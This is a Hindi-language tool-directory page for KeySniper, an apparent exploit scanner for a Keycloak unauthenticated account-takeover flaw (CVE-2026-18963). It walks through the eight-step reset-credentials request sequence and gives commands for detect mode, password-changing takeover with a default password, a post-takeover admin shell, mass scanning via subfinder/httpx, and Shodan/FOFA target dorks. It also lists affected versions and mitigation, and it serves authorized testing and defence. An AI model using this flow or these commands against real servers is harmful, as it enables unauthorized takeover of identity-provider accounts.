Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
KeySniper — **CVE-2026-18963** — reset-credentials प्रवाह के माध्यम से बिना प्रमाणीकरण के Keycloak खाता अधिग्रहण। | Kitploit
उपकरण/GitHubGitHub/ynsmroztas/keysniper
टोहीभेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंग
GitHubynsmroztas/keysniper

KeySniper

**CVE-2026-18963** — reset-credentials प्रवाह के माध्यम से बिना प्रमाणीकरण के Keycloak खाता अधिग्रहण।

रिपॉजिटरी देखें
113231120 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

KeySniper

KeySniper

लेखक: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — reset-credentials फ्लो के माध्यम से बिना प्रमाणीकरण के Keycloak खाता अधिग्रहण।

KeySniper इन-स्कोप बग बाउंटी और अधिकृत मूल्यांकनों के लिए एक प्रोडक्शन-उन्मुख स्कैनर है: लाइव रडार आउटपुट, realm खोज, डिटेक्ट बनाम टेकओवर, इंटरैक्टिव पोस्ट-ATO शेल, और stdin पाइपलाइन (subfinder → httpx → KeySniper)।

डिफ़ॉल्ट मोड डिटेक्ट है (--takeover 0)। --takeover 1 लक्ष्य पर खाता पासवर्ड बदल देता है।


भेद्यता

फ़ील्डमान
CVECVE-2026-18963
CWECWE-640 — कमज़ोर पासवर्ड पुनर्प्राप्ति तंत्र
CVSS9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
उत्पादKeycloak / Red Hat SSO
संस्करण में ठीक हुआ26.7.2, 26.6.6, 26.4.15
प्रमाणीकरणकोई नहीं

दो बग श्रृंखलाबद्ध हैं:

  1. tryAnotherWay एक सामान्य "true" सेलेक्टर नोट संग्रहीत करता है जो निष्पादन ID से स्कोप्ड नहीं है।
  2. ResetCredentialEmail.action() ACTION_TOKEN_USER_ID की पुष्टि किए बिना context.success() को कॉल करता है।

परिणाम: एक बिना प्रमाणीकृत कॉलर किसी ज्ञात उपयोगकर्ता नाम के लिए पासवर्ड-रीसेट फ्लो को बाध्य कर सकता है और ईमेल लिंक पर क्लिक किए बिना UPDATE_PASSWORD पर पहुँच सकता है।

पुष्टिकरण संकेत

स्कैन "फॉरगॉट-पासवर्ड मौजूद है" नहीं है। पुष्टिकरण है:

  • सेलेक्टर फ़ॉर्म मूल रीसेट URL पर फिर से रेंडर होता है
  • execution= UUID बदलता है (ईमेल निष्पादन लीक हुआ)
  • प्रतिक्रिया में kc-passwd-update-form होता है
root@kitploit:~
exec3 = 28e2cd30-…   (पहला सेलेक्टर)
exec6 = 8fd21174-…   (पिवट GET)
         UPDATE_PASSWORD

विशेषताएँ

  • लाइव [radar] लॉग (Location, JS, हेडर, realm प्रोब)
  • Realm खोज: 302 Location + HTML/JS + well-known + वर्डलिस्ट
  • /auth उपसर्ग स्वतः-पहचान
  • पाइपलाइन: httpx / subfinder से stdin URLs
  • गलत-सकारात्मक फ़िल्टर: realm ब्रूट से पहले Keycloak बॉडी आवश्यक
  • --takeover 0 केवल डिटेक्ट
  • --takeover 1 पासवर्ड सेट करें (डिफ़ॉल्ट SelaM1337@@)
  • --shell ATO के बाद इंटरैक्टिव टोकन / एडमिन API सहायक
  • रंग बैज: VULN / ATO लाल, SAFE हरा, SKIP पीला

इंस्टॉलेशन

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

Python 3.9+।


उपयोग

root@kitploit:~
# डिटेक्ट (कोई पासवर्ड परिवर्तन नहीं)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# टेकओवर + इंटरैक्टिव शेल
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# realm / उपयोगकर्ता
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# पाइपलाइन
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# सूची फ़ाइल
python3 KeySniper.py -l urls.txt --takeover 0 -q

फ़्लैग

पाइपलाइन डंप पर --takeover 1 या --shell न दें।


फ्लो (8 चरण)

root@kitploit:~
[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → forgot-password href (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (यदि मौजूद हो)
[6] GET  मूल reset-credentials URL  (पिवट)
         → सेलेक्टर पुनः-रेंडर + नया execution=
[7] POST पुराना सेलेक्टर (कोई एक्शन टोकन नहीं)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (केवल यदि --takeover 1)
         → HTTP 302 + code=  ⇒ ATO

आउटपुट

root@kitploit:~
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update को VULN नहीं माना जाता।


इंटरैक्टिव शेल

केवल एकल लक्ष्य पर [ATO] के बाद खुलता है:

root@kitploit:~
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

संसाधन-स्वामी पासवर्ड ग्रांट (admin-cli, फिर account) का उपयोग करता है।
/admin/realms पर HTTP 403 का अर्थ है Direct Access Grants / एडमिन भूमिका सीमित है — ATO फिर भी मान्य हो सकता है।


खोज

  1. /realms/master फिर /auth/realms/master प्रोब करें
  2. Location, HTML, JS, "realm":, issuer से realms एकत्र करें
  3. वर्डलिस्ट (~70 नाम) केवल Keycloak फ़िंगरप्रिंट के बाद
  4. उन realms को रखें जहाँ /realms/{name} 200 + Keycloak बॉडी लौटाता है

फ़िंगरप्रिंट / recon

root@kitploit:~
/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (प्रोग्राम स्कोप):

root@kitploit:~
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
root@kitploit:~
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

गलत सकारात्मक

  • / पर कोई भी 200 अनदेखा किया जाता है जब तक बॉडी में issuer / public_key / login-actions न हो
  • फॉरगॉट-पासवर्ड अनुपस्थित → SKIP (realm में रीसेट अक्षम है)
  • kc-passwd-update-form के बिना सेलेक्टर लीक → SKIP
  • httpx पथ मूल तक छीन लिए जाते हैं (/auth रखा जाता है)

प्रभावित संस्करण

Keycloak < 26.7.2 (साथ ही 26.6.x < 26.6.6, 26.4.x < 26.4.15)।
शमन: प्रत्येक realm पर फॉरगॉट पासवर्ड अक्षम करें, फिर अपग्रेड करें।

इस रिपॉजिटरी में स्क्रीनशॉट संपादित है (sso.lab.local प्लेसहोल्डर)। टोकन, पासवर्ड, ईमेल और वास्तविक होस्ट प्रकाशित नहीं किए जाते।


लेखक

Mitsec
X: x.com/ynsmroztas


लाइसेंस

इन-स्कोप अधिकृत लक्ष्यों पर शोध उपयोग। अनस्कोप्ड होस्ट पर --takeover 1 बंद रखें।

टूल डाउनलोड करें
फ़्लैगडिफ़ॉल्टअर्थ
-u URL—एकल लक्ष्य
-l FILE—URL सूची
stdinस्वतःhttpx पंक्तियाँ (पहला फ़ील्ड = URL)
--takeover 0|10डिटेक्ट बनाम पासवर्ड बदलें
-U USERadminलक्ष्य उपयोगकर्ता नाम
-r REALMautorealm बाध्य करें या खोजें
--passSelaM1337@@नया पासवर्ड यदि takeover=1
-t N4पाइपलाइन थ्रेड
-qबंदकेवल परिणाम
--shellबंदपोस्ट-ATO शेल (एकल लक्ष्य)
स्थितिअर्थ
VULNपिवट + UPDATE_PASSWORD (पासवर्ड नहीं बदला गया)
ATOचरण 8 सफल
SAFEरीसेट खुला, कोई पुराना सेलेक्टर नहीं (पैच किया गया)
SKIPKeycloak नहीं / रीसेट अक्षम / UPDATE फ़ॉर्म के बिना लीक
FAILनेटवर्क / अप्रत्याशित अपवाद